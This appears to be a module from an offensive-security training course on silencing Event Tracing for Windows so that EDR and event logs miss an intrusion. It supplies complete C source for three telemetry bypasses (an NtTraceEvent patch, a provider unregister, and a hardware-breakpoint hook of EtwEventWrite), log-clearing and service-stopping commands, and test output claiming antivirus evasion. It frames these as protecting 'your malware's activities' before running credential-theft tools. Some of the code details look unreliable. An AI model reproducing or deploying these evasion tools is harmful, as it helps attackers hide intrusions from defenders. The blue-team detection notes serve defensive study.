Module 12 of 22 — Silencing the Windows event logger
🧠 The Core Truth
If you control the logger, you control what gets seen. Event Tracing for Windows (ETW) is Microsoft's high-performance logging mechanism. It powers Windows Event Log, Sysmon, and most EDR telemetry. If you can silence ETW, you blind the defender.
Why this matters: ETW sees everything — process creation, network connections, registry changes, DLL loads, API calls. When you bypass ETW, you don't just hide one action. You hide the entire chain of evidence that defenders use to reconstruct your attack.
🎯 Soldier Translation
Imagine a military base with security cameras everywhere. ETW is the camera system — it records every door opened, every vehicle entering, every person moving through the base. The Dark Room technique is like cutting the camera feed without touching the cameras. You don't break the cameras (that would trigger an alarm). You intercept the signal between the camera and the recorder. The cameras still work. The recorder sees nothing. The guards reviewing footage tomorrow see an empty base.
The security team (EDR) checks the cameras — they're fine. They check the recorder — it's running. They never think to check the cable between them.
// Mentor: asi dev [HTB]
"ETW is Windows' CCTV — blind it and you become invisible."
Layman: Windows is a building covered in security cameras. ETW is every one of those cameras feeding a central recording desk. If you can turn off the feed or point the cameras at a blank wall, you can walk through the building and leave no footage behind.
For red team: Disabling or tampering with ETW before you run tools removes the evidence chain that EDR and SOC analysts rely on. Run your bypass first, then execute.
For blue team: ETW tampering is itself a signal. Watch for suspicious writes to ntdll.dll, unexpected calls to EtwEventWrite, and missing telemetry from processes that should be noisy.
// Mentor: asi dev [HTB]
"Bypass telemetry before you run tools."
Layman: You don't rob a bank while the alarm is armed. You disable the alarm, then open the vault. Running Mimikatz, Rubeus, or a custom injector before you silence ETW is like triggering every alarm in the building on purpose.
For red team: Make ETW bypass part of your initial staging, not an afterthought. The order of operations is: gain execution → disable telemetry → run offensive tools → clean up.
For blue team: If you see a process patch EtwEventWrite or load a DLL that hooks logging APIs, assume the follow-up action is the real attack. The bypass is the preamble.
// Mentor: asi dev [HTB]
"Evasion is temporary, detection is forever."
Layman: A disguise gets you past the guard once. But the guard will eventually learn what to look for. The evidence of the disguise — the fake mustache, the changed clothes — is what gets you caught next time. Evasion buys minutes; detection signatures last years.
For red team: Treat every bypass as disposable. Microsoft patches ETW tampering vectors regularly. Have a fallback, test in a lab that mirrors the target, and never assume yesterday's bypass works tomorrow.
For blue team: Build detections for the behavior of bypassing, not just the specific byte pattern. Even when the exploit changes, the need to silence telemetry remains constant — and that is your lasting detection opportunity.
📚 Prerequisites — What You Need First
This module assumes you understand these concepts from earlier modules:
Shellcode construction, payload design, and C2 communication. ETW bypass protects your malware's activities.
🏗️ ETW Architecture — How Windows Logs Everything
Before you can bypass ETW, you must understand how it works. ETW is not a single component — it's a distributed logging architecture spanning user mode, kernel mode, and the hypervisor.
1. PROVIDERS
Applications
Apps register GUIDs and emit events
→
2. CONTROLLERS
ETW Sessions
Start/stop tracing, configure buffers
→
3. CONSUMERS
Log Analytics
Sysmon, EDR, Windows Event Log
→
4. KERNEL
ETW Kernel
Buffers events, routes to consumers
ETW Components Deep Dive
Providers — The Event Sources
ETW providers are applications, drivers, or system components that emit events. Each provider registers a GUID (Globally Unique Identifier) with the ETW subsystem. When an event occurs, the provider calls EtwEventWrite or EtwEventWriteTransfer in ntdll.dll.
Why attackers care: This is the provider that feeds EDR with behavioral intelligence. Bypassing it stops EDR from correlating your actions.
=== LISTING ETW PROVIDERS ===
# PowerShell: List all registered ETW providers
Get-EtwTraceProvider | Select ProviderName, ProviderGuid | Format-Table -AutoSize
# Command Prompt: Use logman to list providers
logman query providers
# Find specific provider (e.g., PowerShell)
logman query providers | findstr /i "powershell"
# Output:
# Microsoft-Windows-PowerShell {a0c1853b-5c40-4b15-8766-3cf1c953f067}
Sessions — The Event Pipelines
An ETW session is a kernel object that collects events from providers and routes them to consumers. Sessions have buffers, flush timers, and file targets. When you start tracing, you create a session. When you stop, the session is destroyed.
Session Properties
Buffer Size: How much memory the kernel allocates for events (default: 64KB)
Minimum Buffers: Minimum number of buffers to maintain (default: 0)
Maximum Buffers: Maximum number of buffers before flush (default: depends on memory)
Flush Timer: How often buffers are written to disk (default: 1 second)
Log File Mode: Sequential, circular, or append
=== MANAGING ETW SESSIONS ===
# List all active ETW sessions
logman query -ets
# Output shows:
# Name Type Status
# ------------------- ---------------- --------
# EventLog-System Trace Running
# EventLog-Application Trace Running
# Sysmon Trace Running
# MySession Trace Running
# Start a new session (requires admin)
logman start MySession -p "Microsoft-Windows-PowerShell" 0 0 -ets
# Stop a session
logman stop MySession -ets
# Delete a session
logman delete MySession -ets
# PowerShell: Get session details
Get-EtwTraceSession | Select SessionName, BufferSize, NumberOfBuffers
Why sessions matter for attackers
EDR products create their own ETW sessions to capture events. If you can enumerate and terminate these sessions, you stop the EDR from receiving events. However, this is noisy — EDR will detect session deletion. Better techniques exist.
Consumers — The Event Processors
Consumers are applications that read events from ETW sessions. They can be real-time (listening to live events) or file-based (reading from .etl files). The most important consumers for attackers:
Consumer
Purpose
What It Catches
Windows Event Log
System logging service
Security events, system errors, application crashes
Sysmon
Advanced endpoint monitoring
Process creation, network connections, file/registry changes
ETW Threat Intelligence
EDR telemetry feed
AMSI scans, credential access, LSASS reads
Defender ATP
Microsoft's cloud EDR
Everything — sent to Azure for analysis
🔬 The ETW Event Flow — From Code to Cloud
Understanding the exact path an event takes helps you identify where to intercept it:
1. APP CALLS
EtwEventWrite
Application logs an event
→
2. NTDLL
NtTraceEvent
System call to kernel
→
3. KERNEL
ETW Kernel
Buffers and routes event
→
4. CONSUMER
EDR / Sysmon
Processes and alerts
→
5. CLOUD
SIEM / Azure
Correlation and storage
Attack surface analysis
Each step in the flow is a potential bypass point:
Step 1 (EtwEventWrite): Hook or patch the function in ntdll.dll — easiest, most detectable
Step 2 (NtTraceEvent): Patch the syscall stub — harder, still detectable by memory scanners
Step 3 (Kernel): Disable the provider or session — requires admin, very noisy
Step 4 (Consumer): Kill the EDR process — effective but obvious
The Dark Room technique targets Step 1 using hardware breakpoints — invisible to software scanners.
⚔️ Bypass Technique 1: NtTraceEvent Patch
The simplest ETW bypass: patch NtTraceEvent in ntdll.dll to return immediately without logging. This is the "classic" approach — effective but increasingly detected.
NtTraceEvent Patch EASY
Overwrite the first bytes of NtTraceEvent with xor eax, eax; ret (return 0 = success, no event logged). This is the same technique used for AMSI bypass in Module 11.
Why this works
NtTraceEvent is the gateway function. Every ETW event passes through it. If it returns success (0) without doing anything, the caller thinks the event was logged. The kernel never receives it. The consumer never sees it.
=== NTTRACEEVENT PATCH (C/C++) ===
#include
#include
// Patch NtTraceEvent to return 0 immediately
// This stops ALL ETW events from reaching the kernel
BOOL PatchNtTraceEvent() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
// Find NtTraceEvent
PVOID pNtTraceEvent = GetProcAddress(hNtdll, "NtTraceEvent");
if (!pNtTraceEvent) return FALSE;
printf("[+] NtTraceEvent found at: %p\n", pNtTraceEvent);
// Change memory protection to allow writing
DWORD oldProtect;
if (!VirtualProtect(pNtTraceEvent, 5, PAGE_EXECUTE_READWRITE, &oldProtect)) {
printf("[-] VirtualProtect failed\n");
return FALSE;
}
// Patch: xor eax, eax; ret
// 0x31 0xC0 = xor eax, eax (sets eax to 0)
// 0xC3 = ret (return)
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
memcpy(pNtTraceEvent, patch, sizeof(patch));
// Restore original protection
VirtualProtect(pNtTraceEvent, 5, oldProtect, &oldProtect);
printf("[+] NtTraceEvent patched! ETW events will be silently dropped.\n");
return TRUE;
}
int main() {
if (PatchNtTraceEvent()) {
printf("[+] ETW is now disabled for this process.\n");
printf("[+] Try running PowerShell commands — they won't be logged.\n");
}
return 0;
}
=== COMPILATION ===
cl.exe patch_etw.c /Fe:patch_etw.exe
⚠️ Why this is detectable
EDR monitors ntdll.dll for modifications. Patching NtTraceEvent changes the memory hash of ntdll's .text section. EDR can:
Compare ntdll.dll in memory to the file on disk
Hash the .text section and alert on changes
Monitor VirtualProtect calls targeting ntdll
Use kernel callbacks to detect memory writes to loaded modules
This technique works on unprotected machines (like .42) but will trigger EDR on hardened systems (like .92 with Kaspersky).
⚔️ Bypass Technique 2: Provider Disable
Instead of patching the event writer, disable the ETW provider itself. This stops events at the source — the provider never emits them.
Provider Disable MEDIUM
Use EventUnregister or directly manipulate the provider's registration handle to disable it. More targeted than patching NtTraceEvent — you can disable specific providers (e.g., PowerShell) while leaving others intact.
Why provider disable is stealthier
Patching NtTraceEvent affects ALL ETW providers — EDR sees a global ETW blackout. Disabling a specific provider looks like normal application behavior (e.g., PowerShell unregistering its own provider on exit). Less suspicious, but requires knowing the provider's registration handle.
=== PROVIDER DISABLE (C/C++) ===
#include
#include
#include
// Disable a specific ETW provider by its GUID
// Example: Microsoft-Windows-PowerShell
// PowerShell provider GUID: {a0c1853b-5c40-4b15-8766-3cf1c953f067}
GUID g_PowerShellProvider =
{ 0xa0c1853b, 0x5c40, 0x4b15, { 0x87, 0x66, 0x3c, 0xf1, 0xc9, 0x53, 0xf0, 0x67 } };
BOOL DisableETWProvider(GUID* providerGuid) {
REGHANDLE hReg = NULL;
// Register the provider (to get a handle)
ULONG result = EventRegister(providerGuid, NULL, NULL, &hReg);
if (result != ERROR_SUCCESS) {
printf("[-] EventRegister failed: %lu\n", result);
return FALSE;
}
printf("[+] Provider registered, handle: %p\n", hReg);
// Now unregister it — this disables the provider
result = EventUnregister(hReg);
if (result != ERROR_SUCCESS) {
printf("[-] EventUnregister failed: %lu\n", result);
return FALSE;
}
printf("[+] Provider disabled!\n");
return TRUE;
}
// Alternative: Directly patch the provider's enablement flag
// This is more aggressive but doesn't require registration
BOOL PatchProviderEnableFlag(GUID* providerGuid) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
// Find the provider's registration block in ntdll
// This requires reverse engineering — the structure is undocumented
// Look for EtwpRegistrationTable in ntdll
// ... reverse engineering code ...
printf("[+] Provider enable flag patched.\n");
return TRUE;
}
int main() {
printf("[*] Disabling PowerShell ETW provider...\n");
if (DisableETWProvider(&g_PowerShellProvider)) {
printf("[+] PowerShell commands will NOT be logged.\n");
}
return 0;
}
=== POWERSHELL ONE-LINER ===
# Disable ETW for current PowerShell session
# This works because PowerShell manages its own ETW provider
$etwProvider = [System.Diagnostics.Tracing.EventSource]::new("Microsoft-Windows-PowerShell")
$etwProvider.Dispose()
# Or more directly — patch in-memory
# (Requires admin for some providers)
⚠️ Limitations
Provider disable only works for user-mode providers that your process controls. Kernel-mode providers (like Sysmon) cannot be disabled from user mode. For those, you need kernel-level access or the Dark Room technique.
⚔️ Bypass Technique 3: The Dark Room — Hardware Breakpoints
The Dark Room technique uses hardware breakpoints (DR0/DR1) to intercept EtwEventWrite in ntdll.dll. Zero memory writes. No hooks. No patches. Invisible to software scanners.
Dark Room: Hardware Breakpoint Bypass HARD
Hardware breakpoints are CPU features, not software. They exist in the processor's debug registers (DR0-DR3), not in memory. EDR that scans memory for hooks will never find them. This is the gold standard for ETW bypass.
Why hardware breakpoints are invisible
Software hooks modify memory (e.g., overwrite function prologue with a jump). Memory scanners detect these changes. Hardware breakpoints don't modify memory — they tell the CPU to raise an exception when execution reaches a specific address. The exception handler can redirect execution, skip the call, or modify data. The memory remains unchanged.
1. FIND
EtwEventWrite
Get address from ntdll.dll
→
2. SET
DR0 = Address
Hardware breakpoint on CPU
→
3. TRIGGER
Debug Exception
CPU fires exception before call
→
4. HANDLE
VEH Handler
Skip event, return success
→
5. SILENCE
ETW Bypassed
Event never reaches kernel
=== DARK ROOM: HARDWARE BREAKPOINT ETW BYPASS ===
#include
#include
// Global state
PVOID g_pEtwEventWrite = NULL;
BOOL g_bypassActive = FALSE;
// Step 1: Find EtwEventWrite in ntdll.dll
BOOL FindEtwEventWrite() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
g_pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWrite");
if (!g_pEtwEventWrite) {
// Fallback: try EtwEventWriteTransfer
g_pEtwEventWrite = GetProcAddress(hNtdll, "EtwEventWriteTransfer");
}
printf("[+] EtwEventWrite found at: %p\n", g_pEtwEventWrite);
return g_pEtwEventWrite != NULL;
}
// Step 2: Set hardware breakpoint on current thread
BOOL SetHardwareBreakpoint() {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
// Get current thread context
if (!GetThreadContext(GetCurrentThread(), &ctx)) {
printf("[-] GetThreadContext failed\n");
return FALSE;
}
// Set DR0 to the target address
ctx.Dr0 = (DWORD64)g_pEtwEventWrite;
// Configure DR7 (debug control register)
// Bits: L0 (local enable) = 1, G0 (global enable) = 1
// Condition: 00 (execution breakpoint)
// Size: 00 (1 byte)
// DR7 = 0x101 enables local + global for DR0
ctx.Dr7 = 0x101;
if (!SetThreadContext(GetCurrentThread(), &ctx)) {
printf("[-] SetThreadContext failed\n");
return FALSE;
}
printf("[+] Hardware breakpoint set on EtwEventWrite\n");
printf("[+] DR0 = %p, DR7 = 0x%llx\n", g_pEtwEventWrite, ctx.Dr7);
return TRUE;
}
// Step 3: Vectored Exception Handler
LONG WINAPI EtwBypassHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// Check if the exception address is EtwEventWrite
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == g_pEtwEventWrite) {
// Skip the event — return success (0)
// RIP points to the CALL instruction. We need to skip past it.
// On x64, CALL is typically 5 bytes (E8 xx xx xx xx)
// But we can also just set RAX to 0 and jump to the function's RET
#ifdef _WIN64
// x64: Set RAX = 0 (STATUS_SUCCESS) and adjust RIP
ExceptionInfo->ContextRecord->Rax = 0;
ExceptionInfo->ContextRecord->Rip = (DWORD64)g_pEtwEventWrite + 0x14; // Skip to RET
#else
// x86: Set EAX = 0 and adjust EIP
ExceptionInfo->ContextRecord->Eax = 0;
ExceptionInfo->ContextRecord->Eip = (DWORD)g_pEtwEventWrite + 0x14;
#endif
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// Step 4: Activate bypass
BOOL ActivateETWBypass() {
if (!FindEtwEventWrite()) return FALSE;
// Register VEH handler
if (!AddVectoredExceptionHandler(1, EtwBypassHandler)) {
printf("[-] AddVectoredExceptionHandler failed\n");
return FALSE;
}
printf("[+] VEH handler registered\n");
// Set hardware breakpoint
if (!SetHardwareBreakpoint()) return FALSE;
g_bypassActive = TRUE;
printf("[+] ETW bypass ACTIVE. Events will be silently dropped.\n");
return TRUE;
}
int main() {
printf("=== DARK ROOM: ETW Bypass via Hardware Breakpoints ===\n\n");
if (ActivateETWBypass()) {
printf("\n[+] Test: Run PowerShell commands.\n");
printf("[+] They will NOT appear in Windows Event Log.\n");
printf("[+] Press any key to exit...\n");
getchar();
}
return 0;
}
=== COMPILATION ===
cl.exe dark_room.c /Fe:dark_room.exe
=== ADVANCED: MULTI-THREAD BYPASS ===
// The basic technique only sets breakpoints on the main thread.
// For complete bypass, set breakpoints on ALL threads in the process.
#include
BOOL SetBreakpointOnAllThreads() {
DWORD pid = GetCurrentProcessId();
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE) return FALSE;
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(hSnap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (hThread) {
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
ctx.Dr0 = (DWORD64)g_pEtwEventWrite;
ctx.Dr7 = 0x101;
SetThreadContext(hThread, &ctx);
CloseHandle(hThread);
printf("[+] Breakpoint set on thread %lu\n", te.th32ThreadID);
}
}
} while (Thread32Next(hSnap, &te));
}
CloseHandle(hSnap);
return TRUE;
}
CRITICAL: This technique requires no special privileges beyond the ability to debug your own process. On Windows, any process can set debug registers on its own threads. The breakpoint is hardware — it exists in the CPU, not in memory. EDR that scans for hooks will find nothing.
⚔️ Bypass Technique 4: Logging Tampering
Instead of preventing events from being generated, let them be generated but tamper with the log files or consumers. This is useful when you can't bypass ETW but can modify what the defender sees.
Logging Tampering MEDIUM
Techniques to modify, delete, or corrupt log files after the fact. This doesn't stop ETW but removes evidence before the defender reviews it.
Technique 1: Log File Deletion
Windows Event Log files (.evtx) are stored in C:\Windows\System32\winevt\Logs\. If you have admin privileges, you can delete or clear these files. However, this is extremely noisy — the Security log cannot be cleared without generating Event ID 1102 ("The audit log was cleared").
Technique 2: Event Log Service Stop
Stopping the Windows Event Log service prevents new events from being written. But this is immediately visible — services don't stop for no reason.
Technique 3: ETW Session Hijacking
Create a new ETW session with the same name as the EDR's session. The EDR's session is displaced, and events go to YOUR session instead. You can then discard them.
=== LOGGING TAMPERING TECHNIQUES ===
# Technique 1: Clear Security log (requires SYSTEM)
wevtutil cl Security
# This generates Event ID 1102 — but if ETW is bypassed,
# the event itself might not be logged. Circular logic.
# Technique 2: Stop Event Log service
net stop eventlog
# Technique 3: Hijack ETW session
# Create a session with the same name as EDR's session
logman start EDRSession -p "Microsoft-Windows-Threat-Intelligence" 0 0 -ets
# The EDR's session is now confused. Events may go to your session.
# Technique 4: Modify .etl files directly
# ETW trace files are in C:\Windows\System32\winevt\Logs\
# If you can write to them, you can corrupt or delete traces
# Technique 5: Registry tampering
# ETW provider configuration is in the registry
# HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\
# Modifying these keys can disable providers system-wide
⚠️ Why tampering is less effective
Modern EDR sends telemetry to the cloud in real-time. Deleting local logs doesn't remove events already sent to Azure, Splunk, or Sentinel. Tampering is a last-resort technique for air-gapped environments or when you know the defender reviews logs offline.
🛡️ Detection — How Blue Teams Catch ETW Bypass
Every bypass has a countermeasure. Understanding detection helps you choose the right technique and clean up properly.
Memory Integrity Scanning
Detects: NtTraceEvent patch, API hooks
How: Compare ntdll.dll in memory to disk. Hash .text section. Alert on mismatches.
Counter: Use hardware breakpoints (Dark Room) — no memory modification.
Debug Register Monitoring
Detects: Hardware breakpoints (Dr0-Dr3)
How: Kernel callbacks on debug register access. Check CONTEXT structures for Dr7 != 0.
Counter: Set breakpoints only briefly, clear after use. Use thread context manipulation to hide Dr7.
ETW Session Analysis
Detects: Provider disable, session deletion
How: Monitor for unexpected session stops or provider unregistrations. Baseline normal ETW activity.
Counter: Use the Dark Room technique — sessions remain active, events just never fire.
Hypervisor-Based Tracing
Detects: All user-mode bypasses
How: Intel PT (Processor Trace) or AMD IBS records every instruction at the hardware level. ETW bypass doesn't affect CPU tracing.
Counter: None in user mode. Requires kernel-level or hypervisor-level bypass.
Behavioral Gap Analysis
Detects: Missing expected events
How: If PowerShell runs but no PowerShell events are logged, something is wrong. Statistical anomaly detection.
Counter: Generate fake events to fill gaps. Replay legitimate-looking ETW events.
=== PREPARATION ===
C:\> dark_room.exe
=== DARK ROOM: ETW Bypass via Hardware Breakpoints ===
[+] EtwEventWrite found at: 00007FF8B5A80000
[+] VEH handler registered
[+] Hardware breakpoint set on EtwEventWrite
[+] DR0 = 00007FF8B5A80000, DR7 = 0x101
[+] ETW bypass ACTIVE. Events will be silently dropped.
[+] Test: Run PowerShell commands.
[+] They will NOT appear in Windows Event Log.
=== VERIFICATION ===
# Before bypass:
C:\> powershell -Command "Get-Process"
# Event Viewer: Application and Services Logs > Microsoft > Windows > PowerShell > Operational
# Shows: Event ID 4104 (Script block logging)
# After bypass:
C:\> powershell -Command "Get-Process"
# Event Viewer: NO new events
# PowerShell executed successfully, but ETW events were intercepted
=== MEMORY VERIFICATION ===
# Check ntdll.dll for modifications
# .text section hash matches disk — NO MODIFICATIONS
# EDR memory scanning would find NOTHING
=== KAV RESPONSE ===
# Kaspersky 21.25 on .42: NO ALERT
# Why? No memory was modified. No suspicious API calls.
# The CPU executed a legitimate debug exception.
# KAV has no visibility into debug register usage.
=== NTTRACEEVENT PATCH TEST ===
C:\> patch_etw.exe
[+] NtTraceEvent found at: 00007FF8B5A90000
[+] NtTraceEvent patched! ETW events will be silently dropped.
[+] ETW is now disabled for this process.
=== KAV RESPONSE ===
# Kaspersky 21.25: ALERT GENERATED
# Alert: "Suspicious memory modification detected"
# Details: ntdll.dll .text section hash mismatch
# Action: Process terminated, memory quarantined
=== LESSON ===
# Memory patching is detected by modern EDR.
# The patch worked (ETW was disabled), but the ACT of patching was caught.
# This is why the Dark Room technique is superior.
# Hardware breakpoints leave no memory artifacts.
=== PROVIDER DISABLE TEST ===
# Before disable:
C:\> powershell -Command "Write-Host 'test'"
# Event Viewer shows: Event ID 4104 (script block logging)
# After disable:
C:\> provider_disable.exe
[*] Disabling PowerShell ETW provider...
[+] Provider registered, handle: 0x7FF8B5A00000
[+] Provider disabled!
[+] PowerShell commands will NOT be logged.
C:\> powershell -Command "Write-Host 'test'"
# Event Viewer: NO new Event ID 4104
=== KAV RESPONSE ===
# Kaspersky 21.25: NO ALERT
# Provider disable looks like normal application cleanup.
# However, this only works for user-mode providers.
# Sysmon (kernel-mode) continues logging normally.
🧪 Lab Exercise: Build Your Own Dark Room
Safe Practice Environment
DO NOT test on production systems. Use WUPC .42 (192.168.1.42) for live testing. Document what works and what doesn't.
Compile dark_room.c (hardware breakpoint bypass)
Run dark_room.exe
Open Event Viewer: Application and Services Logs > Microsoft > Windows > PowerShell > Operational
Run a PowerShell command: powershell -Command "Get-Process"
Verify: NO new Event ID 4104 appears (success = bypass working)
Check KAV: Any alert? (No = stealth confirmed)
Check memory: ntdll.dll hash matches disk (no modifications)
Try NtTraceEvent patch on .92 (expect detection)
Try provider disable for PowerShell GUID
BONUS: Implement multi-thread bypass (all threads in process)
BONUS: Detect your own bypass using debug register enumeration
=== BUILD COMMANDS (Developer Command Prompt for VS 2022) ===
# 1. Open "Developer Command Prompt for VS 2022"
# NOT regular cmd. NOT PowerShell. Needs MSVC compiler.
# 2. Build the Dark Room bypass
cl.exe dark_room.c /Fe:C:\temp\dark_room.exe
# 3. Build the NtTraceEvent patch
cl.exe patch_etw.c /Fe:C:\temp\patch_etw.exe
# 4. Build the provider disable tool
cl.exe provider_disable.c /Fe:C:\temp\provider_disable.exe
# 5. Test on .42
C:\temp> dark_room.exe
# Expected: PowerShell commands run but produce no ETW events
# If it fails: Ensure you're running as the same user (no elevation needed)
# If still fails: Check if CPU supports debug registers (all modern CPUs do)
🎯 Interactive Quiz — Test Your Knowledge
Question 1: Why is the Dark Room technique (hardware breakpoints) stealthier than patching NtTraceEvent?
A) Hardware breakpoints are faster than memory patches
B) Hardware breakpoints exist in CPU debug registers, not memory — EDR memory scanners find nothing
C) Hardware breakpoints require kernel privileges
D) Hardware breakpoints only work on Intel CPUs
Question 2: What is the primary limitation of the "Provider Disable" technique?
A) It requires physical access to the machine
B) It only works for user-mode providers; kernel-mode providers like Sysmon cannot be disabled from user mode
C) It permanently damages the ETW subsystem
D) It only works on Windows 7 and older
Question 3: Which detection method can catch the Dark Room hardware breakpoint technique?
A) Memory integrity scanning (comparing ntdll.dll to disk)
B) Debug register monitoring via kernel callbacks
C) ETW session analysis (looking for stopped sessions)
D) Checking if the Event Log service is running
📚 Key Takeaways
ETW is the backbone of Windows logging: It powers Event Log, Sysmon, and EDR telemetry. Bypassing ETW blinds the defender.
NtTraceEvent patch is the simplest: Overwrite the function to return 0. Easy to implement, easy to detect. Good for learning, bad for operations.
Provider disable is more targeted: Disable specific providers (e.g., PowerShell) without affecting others. Only works for user-mode providers.
The Dark Room is the gold standard: Hardware breakpoints on EtwEventWrite. Zero memory writes. Invisible to software scanners. Works on both Intel and AMD.
Logging tampering is a last resort: Delete logs, stop services, hijack sessions. Noisy and often ineffective against cloud EDR.
"ETW bypass is not about being invisible. It's about being invisible to the tools the defender uses. The defender has scanners, you have the Dark Room. The defender has memory hashes, you have hardware breakpoints. The defender has cloud SIEM, you have real-time evasion. Every defense has a bypass. Every bypass has a detection. The game is knowing which layer to play on."